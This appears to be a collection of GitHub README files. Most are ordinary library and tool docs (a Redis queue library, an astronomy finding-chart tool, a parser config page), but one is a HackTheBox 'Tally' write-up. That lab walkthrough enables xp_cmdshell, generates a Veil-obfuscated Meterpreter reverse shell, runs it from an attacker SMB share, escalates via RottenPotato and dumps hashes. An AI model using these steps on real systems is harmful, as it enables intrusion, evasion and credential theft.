text:
[![Travis CI](https://img.shields.io/travis/heureka/php-rq.svg)](https://travis-ci.org/heureka/php-rq)
[![Packagist](https://img.shields.io/packagist/v/heureka/php-rq.svg)](https://packagist.org/packages/heureka/php-rq)
[![Join the chat at https://gitter.im/heureka/php-rq](https://badges.gitter.im/heureka/php-rq.svg)](https://gitter.im/heureka/php-rq)

PhpRQ
======

This library is set of php files and Lua scripts which enables you to easily implement queuing system based on Redis.
The library is completely tested using integration tests (because of heavy usage of Lua scripts). There are multiple
types of queues implemented in this library so you can choose the one that fits your needs best.

All the queues works well in multi-threaded environment. The only thing you have to keep in mind is that with multiple
consumers the order of the items is impossible to preserve. E.g. if multiple consumers exits unexpectedly and then you
use re-enqueue method to get the items back to the queue then you will most probably lose the order of the items.
If you want to rely on the order of the items then you are required to use only one consumer at a time, reject whole
batch after failure and re-enqueue everything before getting another chunk of items.

Queue
=====
-----

This is the most basic type of queue. If you don't require uniqueness of the items in the queue then you probably
want to use Queue.

There is **no possible way to guarantee order of the items** if you reject them randomly or if the queue is used
in multi-threaded environment. The Queue tries to maintain the order of the items as best as it can but you have to
keep in mind that it is just the **best effort** method. The order of the items is guaranteed only if you use single
consumer, reject whole batch after failure and re-enqueue failed items before getting the new ones.

Queue - General usage
---------------------

You can add items to the queue using **addItem** and **addItems** methods. If you want to get items from the queue then
you can use **getItems** and **getAllItems** methods. When you have the items from the queue you must either
acknowledge (success; **ackItem**, **ackItems**) or reject (failure; **rejectItem**, **rejectItems**, **rejectBatch**)
them. If you reject an item it is then moved on the head of the queue. If you miss to acknowledge or revoke an item
then it will stay in the processing queue until you clear it using **reEnqueueTimedOutItems**, **reEnqueueAllItems**,
**dropTimedOutItems** or **dropAllItems** (depends on your requirements). You must clear the failed processing
queues somehow, otherwise the forgotten data will fill your Redis.

Queue::getRedisClient
---------------------

Returns the used instance of a Redis client (PhpRQ\ClientInterface). This is useful in multi-threaded environment
when you want to reconnect the connection.

Queue::getCount
---------------

Returns the number of items in the queue.

Queue::addItem
--------------

**param:** *$item* Anything that can be converted to string

Adds an item to the queue.

Queue::addItems
---------------

**param:** (array) *$items* Array containing anything that can be converted to string

Adds multiple items to the queue.

Queue::getItems
---------------

**param:** (int) *$size* Number of items you want to return from the queue

Returns *$size* elements from the queue. You can set the *$size* to any number you like - the items are fetched from
the queue by chunks with a fixed safe size so the server isn't overwhelmed.

Items that are fetched from the queue are added to a processing queue. That way if the process exits unexpectedly
the items fetched from the queue can be preserved using re-enqueue methods.

Queue::getAllItems
------------------

Returns all items from the queue. The items are fetched from the queue by chunks of a fixed safe size so the
server isn't overwhelmed.

Items that are fetched from the queue are added to a processing queue. That way if the process exits unexpectedly
the items fetched from the queue can be preserved using re-enqueue methods.

Queue::ackItem
--------------

**param:** *$item* Anything that can be converted to string

Acknowledges the item - removes the item from the processing queue.

Queue::ackItems
---------------

**param:** (array) *$items* Array containing anything that can be converted to string

Acknowledges multiple items - removes them from the processing queue.

Queue::rejectItem
-----------------

**param:** *$item* Anything that can be converted to string

Revokes the item - removes the item from the processing queue and puts it back at the head of the queue (i.e. it
will be the first item to fetch)

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if you reject some items and then acknowledge
another then the order is lost.

Queue::rejectItems
------------------

**param:** (array) *$items* Array containing anything that can be converted to string

Revokes multiple items - removes the items from the processing queue and puts them back at the head of the queue
in the reversed order (i.e. they will be the first items to fetch, in the same order as they were fetched before).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if you reject some items and then acknowledge
another then the order is lost.

Queue::rejectBatch
------------------

Revokes all the remaining items in the processing queue and puts them back at the head of the queue in the reversed
order (i.e. they will be the first items to fetch, in the same order as they were fetched before).

Queue::reEnqueueTimedOutItems
-----------------------------

**param:** (int) *$timeout* Number of seconds after which the processing queue and all the items in it are
considered as failed

You should call this method (or the reEnqueueAllItems) periodically (or before fetching items from the queue) to
put the timed out items from the processing queues back to the head of the queue in the reversed order (i.e. they will
be the first items to fetch, in the same order as they were fetched before).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if the first batch fails, the seconds
successes and the third fails again, the order of the items cannot be preserved because the first batch now
"gets after the second one"

Queue::reEnqueueAllItems
------------------------

You should call this method before fetching items from the queue but only if you have a single consumer. This method
puts the items for all the processing queues back to the head of the queue in the reversed order (i.e. they will be
the first items to fetch, in the same order as they were fetched before). Keep in mind that this method can
re-enqueue still valid processing queues (i.e. not the failed ones).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if the first batch fails, the second
successes and the third fails again, the order of the items cannot be preserved because the first batch now
"gets after the seconds one"

Queue::dropTimedOutItems
------------------------

**param:** (int) *$timeout* Number of seconds after which the processing queue and all the items in it are
considered as failed

You should call this method (or the dropAllItems) periodically (or before fetching items from the queue) to drop the
timed out items from the processing queues.

Queue::dropAllItems
-------------------

You should call this method before fetching items from the queue but only if you have a single consumer.
This method drops the items for from all the processing queues. Keep in mind that this method can drop still
valid processing queues (i.e. not the failed ones).

Queue::clearQueue
-----------------

Removes all items from the queue and it's processing lists. Useful for testing purposes.

UniqueQueue
===========
-----------

This type of queue is useful if you don't need all the items you push into the queue but just one of each "type".
Let's say that you want to build a queue for refreshing your cached products per category. In that case you will
probably want to send category IDs to the queue. If the processes which handles refreshing of the cache is too slow
then it may happen that you will send multiple update requests (category IDs) into the queue. In that case it isn't
necessary to refresh cache two times - you only need it once but the process just didn't get to your item yet.
The solution is to ignore the second item. And this is exactly what UniqueQueue is intended for. It guarantees you
the uniqueness of items in the queue.

There is **no possible way to guarantee order of the items** if you reject them randomly or if the queue is used
in multi-threaded environment. The UniqueQueue tries to maintain the order of the items as best as it can but you
have to keep in mind that it is just the **best effort** method. The order of the items is guaranteed only if you
use single consumer, reject whole batch after failure and re-enqueue failed items before getting the new ones.

UniqueQueue - General usage
---------------------------

You can add items to the queue using **addItem** and **addItems** methods. If you want to get items from the queue then
you can use **getItems** and **getAllItems** methods. When you have the items from the queue you must either
acknowledge (success; **ackItem**, **ackItems**) or reject (failure; **rejectItem**, **rejectItems**, **rejectBatch**)
them. If you reject an item it is then moved on the head of the queue. If you miss to acknowledge or revoke an item
then it will stay in the processing queue until you clear it using **reEnqueueTimedOutItems**, **reEnqueueAllItems**,
**dropTimedOutItems** or **dropAllItems** (depends on your requirements). You must clear the failed processing queues
somehow, otherwise the forgotten data will fill your Redis.

UniqueQueue::getRedisClient
---------------------------

Returns the used instance of a Redis client (PhpRQ\ClientInterface). This is useful in multi-threaded environment
when you want to reconnect the connection.

UniqueQueue::getCount
---------------------

Returns the number of items in the queue.

UniqueQueue::addItem
--------------------

**param:** *$item* Anything that can be converted to string

Adds an item to the queue.

UniqueQueue::addItems
---------------------

**param:** (array) *$items* Array containing anything that can be converted to string

Adds multiple items to the queue.

UniqueQueue::getItems
---------------------

**param:** (int) *$size* Number of items you want to return from the queue

Returns *$size* elements from the queue. You can set the *$size* to any number you like - the items are fetched from
the queue by chunks with a fixed safe size so the server isn't overwhelmed.

Items that are fetched from the queue are added to a processing queue. That way if the process exits unexpectedly
the items fetched from the queue can be preserved using re-enqueue methods.

UniqueQueue::getAllItems
------------------------

Returns all items from the queue. The items are fetched from the queue by chunks of a fixed safe size so the
server isn't overwhelmed.

Items that are fetched from the queue are added to a processing queue. That way if the process exits unexpectedly
the items fetched from the queue can be preserved using re-enqueue methods.

UniqueQueue::ackItem
--------------------

**param:** *$item* Anything that can be converted to string

Acknowledges the item - removes the item from the processing queue.

UniqueQueue::ackItems
---------------------

**param:** (array) *$items* Array containing anything that can be converted to string

Acknowledges multiple items - removes them from the processing queue.

UniqueQueue::rejectItem
-----------------------

**param:** *$item* Anything that can be converted to string

Revokes the item - removes the item from the processing queue and puts it back at the head of the queue (i.e. it
will be the first item to fetch)

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if you reject some items and then acknowledge
another then the order is lost.

UniqueQueue::rejectItems
------------------------

**param:** (array) *$items* Array containing anything that can be converted to string

Revokes multiple items - removes the items from the processing queue and puts them back at the head of the queue
in the reversed order (i.e. they will be the first items to fetch, in the same order as they were fetched before).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if you reject some items and then acknowledge
another then the order is lost.

UniqueQueue::rejectBatch
------------------------

Revokes all the remaining items in the processing queue and puts them back at the head of the queue in the reversed
order (i.e. they will be the first items to fetch, in the same order as they were fetched before).

UniqueQueue::reEnqueueTimedOutItems
-----------------------------------

**param:** (int) *$timeout* Number of seconds after which the processing queue and all the items in it are
considered as failed

You should call this method (or the reEnqueueAllItems) periodically (or before fetching items from the queue) to
put the timed out items from the processing queues back to the head of the queue in the reversed order (i.e. they will
be the first items to fetch, in the same order as they were fetched before).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if the first batch fails, the seconds
successes and the third fails again, the order of the items cannot be preserved because the first batch now
"gets after the second one"

UniqueQueue::reEnqueueAllItems
------------------------------

You should call this method before fetching items from the queue but only if you have a single consumer. This method
puts the items for all the processing queues back to the head of the queue in the reversed order (i.e. they will be
the first items to fetch, in the same order as they were fetched before). Keep in mind that this method can
re-enqueue still valid processing queues (i.e. not the failed ones).

**Be aware:** Order is guaranteed only by the *best effort* method, e.g. if the first batch fails, the second
successes and the third fails again, the order of the items cannot be preserved because the first batch now
"gets after the seconds one"

UniqueQueue::dropTimedOutItems
------------------------------

**param:** (int) *$timeout* Number of seconds after which the processing queue and all the items in it are
considered as failed

You should call this method (or the dropAllItems) periodically (or before fetching items from the queue) to drop the
timed out items from the processing queues.

UniqueQueue::dropAllItems
-------------------------

You should call this method before fetching items from the queue but only if you have a single consumer.
This method drops the items for from all the processing queues. Keep in mind that this method can drop still
valid processing queues (i.e. not the failed ones).

UniqueQueue::clearQueue
-----------------------

Removes all items from the queue and it's processing lists. Useful for testing purposes.

Pool
====
----

If you have a certain unique actions that needs to be processed for example each day then Pool is great tool for you.
Items in the pool gets processed by the time mark they have assigned. When an item is successfully processed it's time
mark gets increased by the set period of time (5 minutes, hour, day, week, ...) and it won't be processed again until
it's time mark is lower than the actual time.

This is useful if the items in the pool are constant most of the time. Then it is wise to use Pool instead of a Queue

Pool - General usage
--------------------

You can add items to the pool using **addItem** and **addItems** methods. If you want to get items from the pool then
you can use **getItems** and **getAllItems** methods. When you have the items from the pool you can acknowledge
(success; **ackItem**, **ackItems**) or just ignore them. If you no longer wish to process certain items then you can
remove them from the pool with **removeItem** and **removeItems**. You can also clear the whole pool
with the **clearPool** method.

Pool::getRedisClient
--------------------

Returns the used instance of a Redis client (PhpRQ\ClientInterface). This is useful in multi-threaded environment
when you want to reconnect the connection.

Pool::getCount
--------------

Returns the number of items in the pool.

Pool::getCountToProcess
-----------------------

Returns the number of items in the pool which needs to be processed

Pool::isInPool
--------------

**param:** (array|mixed) *$item* Single item or array of items which can be converted to string

Checks if the given item (or multiple items) is in the pool - returns boolean. For multiple items returns array of
booleans indexed by the items.

Pool::addItem
-------------

**param:** *$item* Anything that can be converted to string

Adds an item to the pool.

Pool::addItems
--------------

**param:** (array) *$items* Array containing anything that can be converted to string

Adds multiple items to the pool.

Pool::getItems
--------------

**param:** (int) *$size* Number of items you want to return from the pool

Returns *$size* elements from the pool that should be processed. You can set the *$size* to any number you like - the
items are fetched from the pool one by one so the server isn't overwhelmed.

Time mark of the items that are fetched from the pool is changed to a float number (a "processing" tag). This way you
can be sure that all the items gets processed (for example if the process crashes).

Pool::getAllItems
-----------------

Returns all items from the pool that should be processed. The items are fetched from the pool one by one so the server
isn't overwhelmed.

Time mark of the items that are fetched from the pool is changed to a float number (a "processing" tag). This way you
can be sure that all the items gets processed (for example if the process crashes).

Pool::ackItem
-------------

**param:** *$item* Anything that can be converted to string

Acknowledges the item - increases the time mark of the item.

Pool::ackItems
--------------

**param:** (array) *$items* Array containing anything that can be converted to string

Acknowledges multiple items - increases the time mark of the items.

Pool::removeItem
----------------

**param:** *$item* Anything that can be converted to string

Removes the given item from the pool

Pool::removeItems
-----------------

**param:** (array) *$items* Array containing anything that can be converted to string

Removes the given items from the pool

Pool::clearPool
---------------

Removes all the items from the pool. Useful for testing purposes.

Base
===========
-----------

This functionality is implemented in the abstract class `Base` therefore
you can call it from all object types in the library (like Queue, Pool,..).

safeExecution()
---------------------

Functional wrapper for retrying call of a PhpRQ method to avoid raising Predis\Connection\ConnectionException
in case of a packet loss.

Example:

```php
$queue = new \PhpRQ\Queue($predisConnection);

$items = $queue->safeExecution(
    function() use ($queue) {$queue->getItems(1);},
    function($returnValue) { /* what should happen in case of success */ },
    function() { /* what should happen in case of failure */ },
    $retryWait,  // Microseconds to wait between retries.
    $maxAttempts // Maximal count of attempts.
);
```

repository: heureka/php-rq

repo_name: heureka/php-rq


text:
gmosfc
==========

**Handy GMOS finding chart generator.**

gmosfc generates finding charts for Gemini-GMOS spectroscopy, using either archival sky survey images, or by generating synthetic images from GAIA DR2 photometry. gmosfc should be able to generate accurate finding charts for most GMOS spectroscopic modes or targets. If it is unable to do so, please contact us at<EMAIL_ADDRESS>

Installing
----------

The following dependencies are required:

* [Python](https://www.python.org/download/releases/3.0/) 3.7.1 or later
* [Numpy](http://www.numpy.org) 1.11 or later
* [Matplotlib](http://www.matplotlib.org) 3.1.1 or later
* [Astropy](http://www.astropy.org) 4.0 or later
* [Astroquery](https://astroquery.readthedocs.io/en/latest/) 0.4 or later
* [APLpy](https://aplpy.github.io/) 2.0.2 or later
* [photutils](https://photutils.readthedocs.io/en/stable/) 0.7.2 or later

You can install APLpy and all its dependencies with:

    python3 -m pip install gmosfc

Examples
----------

Once installed, you can begin generating quick finding charts for a variety of GMOS modes.

*1. GMOS two target acqusition, using synthetic GAIA DR2 images*

Create a GMOS finding chart for a two target acqusition using synthetic GAIA DR2 images. You must enter the target name, and User 1 and User 2 coordinates in the astropy.SkyCoord format. The desired position angle, and the Base coordinates are calculated, and saved to the log.
Optional arguements include  Program ID, slitwidth (default of 1 arcsec), position of the scalebar, and SkyCoord options unit, frame, and epoch.
*Do not use the GAIA synthetic images if your target is a galaxy.*

    import gmosfc as gfc
    gfc.gmos_twotarget_gaiasyn("Pismis24-17+Pismis24-16", 261.186378, -34.200760, 261.185225, -34.199680, slitwidth=2, pnum='GS-2020A-Q-403', markersize=25, markersizecentral=0)
    ...
    Finding chart saved as Pismis24-17+Pismis24-16_fc.jpg
    Cleaning up

The image is saved in the same directory, as the Pismis24-17+Pismis24-16_fc.jpg
![Image of ALS](https://github.com/astroquackers/gmosfc/blob/master/images/Pismis24-17%2BPismis24-16_fc_gaia.jpg)

The utility of the GAIA synthetic images can be seen when you compare to the DSS finding chart created using the following command (see the zoomed in comparison)

    gfc.gmos_twotarget("Pismis24-17+Pismis24-16", 261.186378, -34.200760, 261.185225, -34.199680, slitwidth=2, pnum='GS-2020A-Q-403', markersize=15, markersizecentral=0)

![Image of ALS](https://github.com/astroquackers/gmosfc/blob/master/images/Pismis24-17%2BPismis24-16_fc.jpg)

Looking at the zoomed in comparison of the GAIA synthetic and DSS finding charts, the image quality is apparent as the two targets are resolved (similar to what they would be in an 8m telescope image), as is the usefullness for the observer.

![Image of Zoom](https://github.com/astroquackers/gmosfc/blob/master/images/comp.jpg)

*2. GMOS blind offset acqusition, using DSS images*

Creating a GMOS finding chart for a blind offset acqusition using DSS images. You must enter the target name, Base and User 1 coordinates. Additional arguements include the sky survey (deafults to DSS), which can be chosen from https://astroquery.readthedocs.io/en/latest/skyview/skyview.html

    gfc.gmos_blindoffset('SDSSQuasar', '20h54m0.8016s', '-00d05m29.04s', '20h54m07.678s', '-00d05m31.92s')
    ...
    Finding chart saved as SDSSQuasar_fc.jpg

We see now that the finding chart.
![Image of quasar](https://github.com/astroquackers/gmosfc/blob/master/images/SDSSQuasar_fc.jpg)

*3. GMOS long slit target with position angle*

A bright single target, with a desired position angle is entered as

    gfc.gmos_longslit('HD99', 001.492803, +44.739380, pa=123.4)

With the resulting finding chart
![HD99](https://github.com/astroquackers/gmosfc/blob/master/images/HD99_fc.jpg)

For further information, please see documentation.

Citing
------

If you have found this package useful, please give us a star.

Contact
----------

If you have issues with the code, please contact the author at<EMAIL_ADDRESS>

Disclaimer
----------

This is code is not officially endorsed software from the Gemini Observatory. The package is provided for convenience , and the author does not claim accuracy of the finding charts. It remains the responsibility of the PI to ensure that accurate finding charts are provided.

Acknowledgements
----------
This code makes use of the Python packages astropy, APLpy, astroquery, numpy, matplotlib, and photutils. It was also inspired in part by the python package fcmaker. This code was funded by the Gemini-Conicyt grant 32RF180005, and the Gemini Observatory.

license: MIT

repository: astroquackers/gmosfc

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: astroquackers/gmosfc


text:
# Automatic Japanese Bibliography Generator
v2.0 Updates
-In-text citation output added
-Error corrected in website citation

This python script generates japanese bibliography according to the standard provided by:
http://web.ydu.edu.tw/~uchiyama/ron/ron_04.html

More specifically, the citations used in comprehensive 6 listed below:
-Book
-Portion of a book
-Translated book (to japanese)
-Journal article
-Newspaper article (print)
-Internet source

How to use:
-follow the instructions in the programme and give the requested inputs accordingly
-copy and paste the bibliography into your word document

IMPORTANT NOTE: when using this programme, all phrases containing the following words must be put in apostrophes e.g. 'and':
-and
-with
-in
-not in
-or
-any other word that is used in the python script that does not have a meaning in the sense of the english language

For non-python users, you will need to install python on your computer. Then, insert the script and run in through the IDLE.


text:
Wando Service
======================================

[![Conventional Commits][conventional-commits-image]][conventional-commits-url]

The scope of the project is about to highlight Oriented Object Programming concepts and S.O.L.I.D principles by
 building a small service.

## About the project
#### Project stack
* PHP 7.2
* nginx alpine
* Composer
* Phpunit

#### Design patterns
* Singleton
* Front Controller
* Model Controller
* Fluent Interface
* Dependency Injection
* Strategy
* Delegation

#### Overview and Project requirements

Wando runs an internet site for product search and price comparison. It helps users to find the best deals for a
 particular item, by searching through different product feeds from various providers (e.g. ebay, amazon, etc.).

 Managing an almost infinite number of products has a lot of challenges, in this exercise we will focus only on
  the backend side and create a small service, which connects the ebay product feed and provides an interface to get product data.

## Production demo and usage

Wando Service is available to test (for a short period of time) from [Production site][5]

### Usage
* Request method is GET
* accepted parameters:
    * **feed** - if this is not provided, the App will take all API Feeds listed in /config/feeds.json
    * **keywords** - this is required, here add searching keyword(s), usually separated by space (e.g. "iphone apple macbook")
    * **price_min** - part of the filtering, optional
    * **price_max** - part of the filtering, optional
    * **sorting** - optional, use API Feeds in order to provide a better sorting method
    * **page_number** - this parameter, part of pagination, set the page for return
    * **items_per_page** - this parameter, part of pagination, it is important in case of big data collection
* return:
    * the application return in any cases a JSON object, with: resolution (success or error), message (description of
     results) and data (data collection)
    * in case of success, data collection will have two elements:
    ```json
    "data": {
        "paginationOutput": {
            "pageNumber": "1",
            "entriesPerPage": "5",
            "totalPages": "12",
            "totalEntries": "56"
        },
        "data": [
            {
                "provider": "",
                "merchant_id": null,
                "merchant_logo_url": "",
                "item_id": ""
                ....
    ```

## Install and run on local machine

### Prerequisites
Before start install, user will need:
* One [Bionic Beaver][1], and a non-root user with `sudo` privileges.
* [Composer][2]
* [Docker][3]
* [Docker Compose][4]

### Install local and run
* Clone repository
```shell script
git clone https://github.com/tudor-rusu/wando-service.git ${PROJECT_ROOT}
```
* Copy and adjust environmental settings in the root of the project, assumed `${PROJECT_ROOT}/src`:
```shell script
cd ${PROJECT_ROOT}/src
cp .env.dist .env
```
* Run the `sh` script which deploy Docker environment
```shell script
./run.sh
```

* Enjoy!

[conventional-commits-image]: https://img.shields.io/badge/Conventional%20Commits-1.0.0-yellow.svg
[conventional-commits-url]: https://conventionalcommits.org/
[1]: http://releases.ubuntu.com/18.04.4/
[2]: https://www.digitalocean.com/community/tutorials/how-to-install-and-use-composer-on-ubuntu-18-04
[3]: https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-on-ubuntu-18-04
[4]: https://www.digitalocean.com/community/tutorials/how-to-install-docker-compose-on-ubuntu-18-04
[5]: https://compado.rusu.tech/

repository: tudor-rusu/wando-service

repo_name: tudor-rusu/wando-service


text:
# Penman to JSON Converter

The following command converts the JSON files generated by StreamSide to the Penman notation:

```bash
python -m streamside.penman_to_json -i INPUT_PATH [-o OUTPUT_PATH]
```
* `-i` or `--input`: the path to a Penman file or a directory containing Penman files (required).
* `-o` or `--output`: the path to the JSON output file(s) (default: the input directory).

repository: emorynlp/StreamSide

gha_language: Python

gha_license_id: NOASSERTION

repo_name: emorynlp/StreamSide


text:
---
layout: single
title: "HTB - Tally Writeup - <IP_ADDRESS>"
date: 2020-08-07 08:49:23 +0100
categories: hackthebox
excerpt: My walkthrough of the HTB Windows Server 2016 machine Tally.
---

![tally](/images/hackthebox-writeups/tally/tally.png)

# HackTheBox - Tally - <IP_ADDRESS>

Tally is a hard difficulty Windows Server 2016 machine on [hackthebox.eu](https://app.hackthebox.eu).

## Summary

Tally can be a very challenging machine for some. It focuses on many different aspects of real Windows environments and requires users to modify and compile an exploit for escalation. Covered in this post is the use of Rotten Potato, which is an unintended alternate method for privilege escalation.

## Recon and Scanning

### Nmap Results

![nmap scan](/images/hackthebox-writeups/tally/nmap.png)

From the ports open we can clearly see that this is a domain controller and that it is running Windows Server 2016 by the SQL Server version. You can also see that there is a share point site running on port 80

## Enumerating Sharepoint

As we know there is a sharepoint site we can go and look at [http://<IP_ADDRESS>/layouts/viewlsts.aspx](http://<IP_ADDRESS>/_layouts/viewlsts.aspx) to see all the documents hosted on the sharepoint.

![viewlists](/images/hackthebox-writeups/tally/sp-1.png)

### FTP Credentials

Inside the documents folder there is a document called `ftp-details.docx`, inside this we will find credentials for the FTP server.

![ftp-1](/images/hackthebox-writeups/tally/ftp-1.png)

![ftp-2](/images/hackthebox-writeups/tally/ftp-2.png)

Creds - `ftp_user:UTDRSCH53c"$6hys`

## FTP Enumeration

Now that we have credentials we can login to the ftp server and browse around.

![ftp-3](/images/hackthebox-writeups/tally/ftp-3.png)

Inside `\User\Tim\Files` we see a `.kbdx` file which is a `keepassx` database file, if we can crack the password we will have access to whatever credentials are inside. We can crack it using john the ripper.

## Getting More Credentials

### Cracking the KeePassX DB file

Firstly, we will need to download the file to our local machine and use `keepass2john` to get a hash file that we can then crack with `rockyou.txt`

![](/images/hackthebox-writeups/tally/tim-hash.png)

Now crack it with john

![](/images/hackthebox-writeups/tally/hash-cracked.png)

Bingo! Now let's open it with KeePassX and view the stored credentials

![](/images/hackthebox-writeups/tally/acct-creds.png)

Creds - `Finance:Acc0unting`

### Accessing the Accounting SMB Share

We now have credentials for a share named acct, let's mount this and view all the files

![](/images/hackthebox-writeups/tally/mnt-1.png)

After some manual enumeration, we come a across a file called `tester.exe`, running strings on the file reveals the credentials for the MSSQL Server we saw in the nmap scan.

![](/images/hackthebox-writeups/tally/sql-1.png)

Creds - `sa:GWE3V65#6KFH93@4GWTG2G`

## Getting Command Execution using the MSSQL Server and 'xp_cmdshell'

Now that we have creds for the SQL Server we can login using `sqsh`, a tool built into Kali.

{% highlight bash %}
sqsh -S <IP_ADDRESS> -U sa -P GWE3V65#6KFH93@4GWTG2G
{% endhighlight %}

![](/images/hackthebox-writeups/tally/sql-2.png)

### Enabling xp_cmdshell

Now that a connection has been established we can enable the `xp_cmdshell` function, so that we can execute system commands as the user who is running the database server. The following commands are used to enable the function.

{% highlight sql %}
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
{% endhighlight %}

![](/images/hackthebox-writeups/tally/sql-3.png)

## Getting a Meterpreter Session using Veil

Now we have command execution on the box, we can generate a Meterpreter reverse shell payload, to do this I will use [Veil](https://github.com/Veil-Framework/Veil) to create an encrypted Meterpreter payload to bypass windows defender which I presume is running on the machine.

To install Veil on Kali, simple run:

{% highlight bash %}
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
{% endhighlight %}

Now that veil has been installed we can launch it with: `veil`

![](/images/hackthebox-writeups/tally/veil-1.png)

We want to select the evasion module, so type
{% highlight bash %}
use 1
list
{% endhighlight %}

This will show us all the available modules

![](/images/hackthebox-writeups/tally/veil-2.png)

The module we want is `powershell/Meterpreter/rev_tcp.py`

![](/images/hackthebox-writeups/tally/veil-3.png)

Select it with `use 22`

![](/images/hackthebox-writeups/tally/veil-4.png)

Now finally, set the LHOST and LPORT and then type, `generate`

![](/images/hackthebox-writeups/tally/veil-5.png)

Now that we have our `tally-msf.bat` file, we can serve it to the box using `smbserver.py`, firstly, we need to set up metasploit, this can be done by using the pre-built resource file, `tally-msf.rc`.

![](/images/hackthebox-writeups/tally/veil-6.png)

We can now start up our Meterpreter listner with:
{% highlight bash %}
msfconsole -r /var/lib/veil/output/handlers/tally-msf.rc
{% endhighlight %}

![](/images/hackthebox-writeups/tally/msf-1.png)

We can now execute our bat file over the network with `xp_cmdshell` and our `SMB Server`

{% highlight bash %}
xp_cmdshell '\\<IP_ADDRESS>\share\tally-msf.bat'
go
{% endhighlight %}

![](/images/hackthebox-writeups/tally/msf-2.png)

![](/images/hackthebox-writeups/tally/msf-3.png)

## Priv Esc to SYSTEM

Now that we have a shell as a user on the machine, we can use the `rottenpotato` attack to impersonate the SYSTEM user, I deduced this as the box is a very early release of Server 2016 and doesn't appear to have many hotfix's installed. If you want a detailed explation of the attack, the article [Here](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) is very good. We also have the required privelages to run this attack, as seen here.

![](/images/hackthebox-writeups/tally/msf-4.png)

### Impersonating SYSTEM with Incognito

Firstly, download RottenPotato from the [GitHub Here](https://github.com/breenmachine/RottenPotatoNG) and upload it to the box with Meterpreter

![](/images/hackthebox-writeups/tally/msf-5.png)

Now we can load [Metasploit's incognito module](https://www.offensive-security.com/metasploit-unleashed/fun-incognito/) and then run `rottenpotato.exe`

{% highlight bash %}
load incognito
execute -f rottenpotato.exe -Hc
list_tokens -u
{% endhighlight %}

![](/images/hackthebox-writeups/tally/msf-6.png)

As you can see we have the `SYSTEM` users impersonation token avaliable, so we can impersonate it with:

{% highlight bash %}
impersonate_token "NT AUTHORITY\\SYSTEM"
{% endhighlight %}

![](/images/hackthebox-writeups/tally/msf-7.png)

## User and Root Flags

Now that we have a shell as SYSTEM we can grab both the User and Root flags.

![](/images/hackthebox-writeups/tally/flags.png)

## Dumping the Domain Hashes

We can also dump all of the hashes in the domain using Metasploit's [Kiwi Module](https://www.offensive-security.com/metasploit-unleashed/mimikatz/)

{% highlight bash %}
load kiwi
lsa_dump_sam
{% endhighlight %}

![](/images/hackthebox-writeups/tally/hashes.png)

## Pwned

![pwned](/images/hackthebox-writeups/tally/pwned.png)

## Respect

If you enjoyed the write up or found it useful consider + repping my htb profile linked below:

[![HTB](http://www.hackthebox.eu/badge/image/210952.png)](https://www.hackthebox.eu/home/users/profile/210952)

extension: markdown

gha_language: SCSS

gha_license_id: MIT


text:
---
title: "Configuration"
section: "AngleSharp.Core"
---
# HTML Parser Options

The HTML parser comes with some options, which may be helpful to cover specific scenarios.

## `IsNotConsumingCharacterReferences`

If `IsNotConsumingCharacterReferences` is active then every ampersand will just be considered as an ampersand. For serialization that still means that ampersands are represented as `&`, but we know that we could just replace `&` with `&`.

Alternatively, we could use our own formatter.

Let's look at one example:

```cs
var formatter = new MyFormatter();
var parser = new HtmlParser(new HtmlParserOptions
{
    IsNotConsumingCharacterReferences = true,
});
var html = "<html><head></head><body><p>&foo</p></body></html>";
var document = parser.ParseDocument(html);
Console.WriteLine(document.DocumentElement.ToHtml(formatter));
```

where we use a custom formatter such as

```cs
class MyFormatter : IMarkupFormatter
{
    public string Attribute(IAttr attribute) => HtmlMarkupFormatter.Instance.Attribute(attribute);
    public string CloseTag(IElement element, bool selfClosing) => HtmlMarkupFormatter.Instance.CloseTag(element, selfClosing);
    public string Comment(IComment comment) => HtmlMarkupFormatter.Instance.Comment(comment);
    public string Doctype(IDocumentType doctype) => HtmlMarkupFormatter.Instance.Doctype(doctype);
    public string LiteralText(ICharacterData text) => HtmlMarkupFormatter.Instance.LiteralText(text);
    public string OpenTag(IElement element, bool selfClosing) => HtmlMarkupFormatter.Instance.OpenTag(element, selfClosing);
    public string Processing(IProcessingInstruction processing) => HtmlMarkupFormatter.Instance.Processing(processing);
    public string Text(ICharacterData text) => text.Data;
}
```

Now the outcome looks as follows:

```html
<html><head></head><body><p>&foo</p></body></html>
```

In contrast, turning the `IsNotConsumingCharacterReferences` to `false` yields.

```html
<html><head></head><body><p>&foo</p></body></html>
```

So in summary:

The option has an impact on the parsing of & characters. In `false` (default) we start consuming character references, which is the spec but may "eat" information you want to digest later. In `true` we never consume & characters, but emit them to the DOM (like if `&` would have been seen in spec. compliant mode).

For serialization (e.g., `InnerHtml` use, or more explicit via `ToHtml`), however, we interpret any seen `&` as `&` (this way its round-trip usable, plus compliant with the serialization spec). So in the example above we use a custom formatter to use the character node data literally.

## `IsKeepingSourceReferences`

(tbd)

## `IsSupportingProcessingInstructions`

(tbd)

## `OnCreated`

(tbd)

## `IsStrictMode`

(tbd)

## `IsEmbedded`, `IsNotSupportingFrames`, and `IsScripting`

(tbd)

repository: Magicianred/AngleSharp

branch_name: refs/heads/main

repo_name: Magicianred/AngleSharp


text:
QAMS
====

Quality Assurance Management System tool

This tool enables to produce and control all Quality Assurance Records during Quality Assurance activities like:
- Minutes of the meeting
- Action items
- Peer review

Based on Atomik Framework version 2.2

The project tree is the following showing the files and folder to add:
<pre>
atomik
  |____ app
        |____actions
        |____views
        |____layouts
        |____includes
              |____pChart
              |____diagram
        |____plugins
  |____ assets
        |____css
              |____coloration
              |____dijit.css
              |____dojo.css
              |____SyntaxHighlighter.css
        |____images
              |____aircrafts
              |____photos
              |____systems
              |____pages
        |____js
              |____libs
                    |____coloration
                    |____dijit
                    |____dojo
                    |____dojox
                    |____dojo.xd.js
